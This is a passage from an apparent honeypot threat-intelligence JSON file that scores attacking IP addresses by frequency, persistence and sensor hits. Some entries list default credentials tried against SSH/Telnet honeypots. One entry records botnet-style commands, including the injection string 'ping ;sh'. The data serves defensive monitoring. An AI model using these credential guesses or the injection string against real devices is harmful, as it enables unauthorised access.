      "score_components": {
        "frequency": 17.3,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T17:02:06.149000+00:00",
        "last_seen_30d": "2026-04-21T07:40:11.408000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 19
      }
    },
    "125.44.240.27": {
      "attack_count": 30,
      "first_seen": "2026-04-26T05:25:08.772Z",
      "last_seen": "2026-04-26T05:28:23.183Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:25:08.772000+00:00",
        "last_seen_30d": "2026-04-26T05:29:28.841000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "143.110.239.39": {
      "attack_count": 26,
      "first_seen": "2026-04-30T20:09:51.441Z",
      "last_seen": "2026-04-30T20:15:18.108Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T20:09:51.441000+00:00",
        "last_seen_30d": "2026-04-30T20:16:18.386000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 16
      }
    },
    "175.107.208.41": {
      "attack_count": 24,
      "first_seen": "2026-04-20T02:59:13.474Z",
      "last_seen": "2026-04-20T03:03:36.237Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T02:59:13.474000+00:00",
        "last_seen_30d": "2026-04-20T03:06:08.904000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "179.42.153.202": {
      "attack_count": 23,
      "first_seen": "2026-04-27T00:32:43.685Z",
      "last_seen": "2026-04-27T00:40:54.841Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jord\u00e3o",
      "asn": 271192,
      "as_org": "Acess.Net Telecomunicacoes LTDA",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T00:32:43.685000+00:00",
        "last_seen_30d": "2026-04-27T00:40:54.841000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 9
      }
    },
    "115.63.47.188": {
      "attack_count": 22,
      "first_seen": "2026-04-17T05:45:08.886Z",
      "last_seen": "2026-04-17T05:47:31.439Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T05:45:08.886000+00:00",
        "last_seen_30d": "2026-04-17T05:48:41.274000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "45.142.154.32": {
      "attack_count": 22,
      "first_seen": "2026-04-27T00:15:59.052Z",
      "last_seen": "2026-04-27T00:16:30.433Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 69.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.6,
        "persistence": 17.5,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 21,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-07T06:17:04+00:00",
        "last_seen_30d": "2026-04-27T00:17:38.508000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 40,
        "Cowrie": 22,
        "Dionaea": 6
      }
    },
    "103.142.86.12": {
      "attack_count": 21,
      "first_seen": "2026-04-19T22:22:42.679Z",
      "last_seen": "2026-04-19T22:26:00.531Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T22:22:42.679000+00:00",
        "last_seen_30d": "2026-04-19T22:27:08.324000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 10
      }
    },
    "111.45.29.88": {
      "attack_count": 19,
      "first_seen": "2026-04-13T06:46:15.184Z",
      "last_seen": "2026-04-13T06:48:32.624Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T06:46:15.184000+00:00",
        "last_seen_30d": "2026-04-13T06:59:29.629000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 11
      }
    },
    "195.178.110.204": {
      "attack_count": 18,
      "first_seen": "2026-04-07T11:51:32.897Z",
      "last_seen": "2026-04-16T18:56:42.970Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 99.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1627,
        "days_active_30d": 29,
        "ports_targeted_30d": 100,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-02T05:31:53.821000+00:00",
        "last_seen_30d": "2026-04-30T23:39:01.664000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1129,
        "Honeytrap": 419,
        "Miniprint": 34,
        "Cowrie": 18,
        "Dionaea": 8,
        "Tanner": 7,
        "Adbhoney": 6,
        "Dicompot": 3,
        "Honeyaml": 3
      }
    },
    "4.210.177.135": {
      "attack_count": 15,
      "first_seen": "2026-04-01T09:44:58.543Z",
      "last_seen": "2026-04-01T09:45:09.496Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        ""
      ],
      "passwords_attempted": [
        "root",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 43.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 20.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 24,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T09:44:58.244000+00:00",
        "last_seen_30d": "2026-04-24T17:17:14.940000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 12,
        "Honeytrap": 6
      }
    },
    "175.107.3.70": {
      "attack_count": 14,
      "first_seen": "2026-04-27T11:29:32.264Z",
      "last_seen": "2026-04-27T11:31:02.741Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T11:29:32.264000+00:00",
        "last_seen_30d": "2026-04-27T11:32:07.625000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "172.96.160.226": {
      "attack_count": 12,
      "first_seen": "2026-04-13T02:08:50.986Z",
      "last_seen": "2026-04-13T02:08:52.774Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T02:08:50.986000+00:00",
        "last_seen_30d": "2026-04-13T02:09:59.216000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "37.236.74.22": {
      "attack_count": 11,
      "first_seen": "2026-04-01T14:43:42.672Z",
      "last_seen": "2026-04-01T14:44:47.349Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "apc",
        "enable",
        "shell"
      ],
      "passwords_attempted": [
        "apc",
        "sh",
        "system"
      ],
      "commands_executed": [
        "linuxshell",
        "/bin/busybox BOT",
        "ping ;sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 203214,
      "as_org": "Hulum Almustakbal Company for Communication Engineering and Services Ltd",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T14:43:42.672000+00:00",
        "last_seen_30d": "2026-04-01T14:45:55.202000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 1
      }
    },
    "163.7.8.88": {
      "attack_count": 10,
      "first_seen": "2026-04-10T09:00:34.284Z",
      "last_seen": "2026-04-10T09:01:10.489Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T13:29:54.546000+00:00",
        "last_seen_30d": "2026-04-10T09:02:12.233000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Tanner": 46,
        "Cowrie": 10
      }
    },
    "103.106.104.187": {
      "attack_count": 8,
      "first_seen": "2026-04-10T18:20:42.297Z",
      "last_seen": "2026-04-10T18:20:52.551Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        ".2025Kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T18:20:42.297000+00:00",
        "last_seen_30d": "2026-04-10T18:21:58.566000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 3
      }
    },
    "138.94.168.187": {
      "attack_count": 8,
      "first_seen": "2026-04-26T19:25:33.289Z",
      "last_seen": "2026-04-26T19:33:36.511Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Jos\u00e9 dos Pinhais",
      "asn": 270876,
      "as_org": "OPERADORA DE SERVICOS MULTIMIDIA LTDA",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T19:25:33.289000+00:00",
        "last_seen_30d": "2026-04-26T19:34:43.777000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "147.185.132.13": {
      "attack_count": 8,
      "first_seen": "2026-04-06T16:54:55.179Z",
      "last_seen": "2026-04-25T17:08:40.712Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 73.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 28,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T22:59:17.204000+00:00",
        "last_seen_30d": "2026-04-28T03:03:06.174000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 29,
        "Cowrie": 8
      }
    },
    "184.105.139.68": {
      "attack_count": 8,
      "first_seen": "2026-04-17T08:57:43.152Z",
      "last_seen": "2026-04-23T04:00:51.580Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 318,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T02:15:31+00:00",
        "last_seen_30d": "2026-04-30T14:26:47.212000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 197,
        "Honeytrap": 100,
        "Cowrie": 8,
        "Dionaea": 4,
        "Tanner": 4,
        "Adbhoney": 2,
        "ConPot": 2,
        "Miniprint": 1
      }
    },
    "192.42.116.58": {
      "attack_count": 8,
      "first_seen": "2026-04-21T20:36:50.772Z",
      "last_seen": "2026-04-21T20:37:12.320Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T20:36:50.772000+00:00",
        "last_seen_30d": "2026-04-21T20:38:17.517000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "35.216.140.3": {
      "attack_count": 8,
      "first_seen": "2026-04-01T08:26:45.791Z",
      "last_seen": "2026-04-30T22:15:16.200Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC",
      "threat_score": 83.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 25,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 30,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T08:26:45.791000+00:00",
        "last_seen_30d": "2026-04-30T22:16:21.777000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Cowrie": 8,
        "Ciscoasa": 2,
        "Dionaea": 2,
        "Tanner": 1
      }
    },
    "111.10.246.236": {
      "attack_count": 7,
      "first_seen": "2026-04-20T09:42:14.263Z",
      "last_seen": "2026-04-20T09:44:14.601Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T09:42:14.263000+00:00",
        "last_seen_30d": "2026-04-20T09:54:55.614000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "20.65.193.190": {
      "attack_count": 7,
      "first_seen": "2026-04-07T15:46:26.457Z",
      "last_seen": "2026-04-07T15:46:36.457Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 11.7,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 14,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T00:51:02.217000+00:00",
        "last_seen_30d": "2026-04-17T03:28:33.564000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 10,
        "Cowrie": 7
      }
    },
    "176.65.139.38": {
      "attack_count": 6,
      "first_seen": "2026-04-17T22:07:54.315Z",
      "last_seen": "2026-04-18T00:15:15.335Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T22:07:54.315000+00:00",
        "last_seen_30d": "2026-04-23T19:49:39.563000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "45.79.181.251": {
      "attack_count": 6,
      "first_seen": "2026-04-22T05:04:30.013Z",
      "last_seen": "2026-04-22T05:04:30.410Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 89.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 30,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T22:25:21+00:00",
        "last_seen_30d": "2026-04-30T07:20:35.751000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 24,
        "Cowrie": 6,
        "ConPot": 3,
        "Dionaea": 2
      }
    },
    "64.227.169.104": {
      "attack_count": 6,
      "first_seen": "2026-04-12T17:48:59.513Z",
      "last_seen": "2026-04-12T17:48:59.783Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T17:48:08.346000+00:00",
        "last_seen_30d": "2026-04-12T17:50:09.772000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "65.49.20.67": {
      "attack_count": 6,
      "first_seen": "2026-04-06T06:17:46.089Z",
      "last_seen": "2026-04-12T04:02:30.513Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 97.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 537,
        "days_active_30d": 30,
        "ports_targeted_30d": 104,
        "honeypots_triggered_30d": 10,
